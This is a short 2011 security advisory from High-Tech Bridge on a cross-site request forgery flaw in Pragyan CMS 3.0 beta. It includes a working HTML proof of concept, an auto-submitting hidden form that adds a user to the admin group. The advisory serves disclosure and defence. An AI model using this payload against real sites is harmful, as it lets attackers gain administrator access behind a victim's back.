HTB22855: XSRF (CSRF) in Pragyan CMS

Type securityvulns
Reporter Securityvulns
Modified 2011-03-03T00:00:00


Vulnerability ID: HTB22855 Reference: Product: Pragyan CMS Vendor: Pragyan Team ( ) Vulnerable Version: v.3.0 beta Vendor Notification: 17 February 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (

Vulnerability Details: The vulnerability exists due to failure in the "cms/admin.lib.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/?page=/&action=admin&subaction=editgroups&groupname=admin" method="post" name="main"> <input type="hidden" name="txtUserEmail" value=""> <input type="hidden" name="btnAddUserToGroup" value="Add User to Group"> </form> <script> document.main.submit(); </script>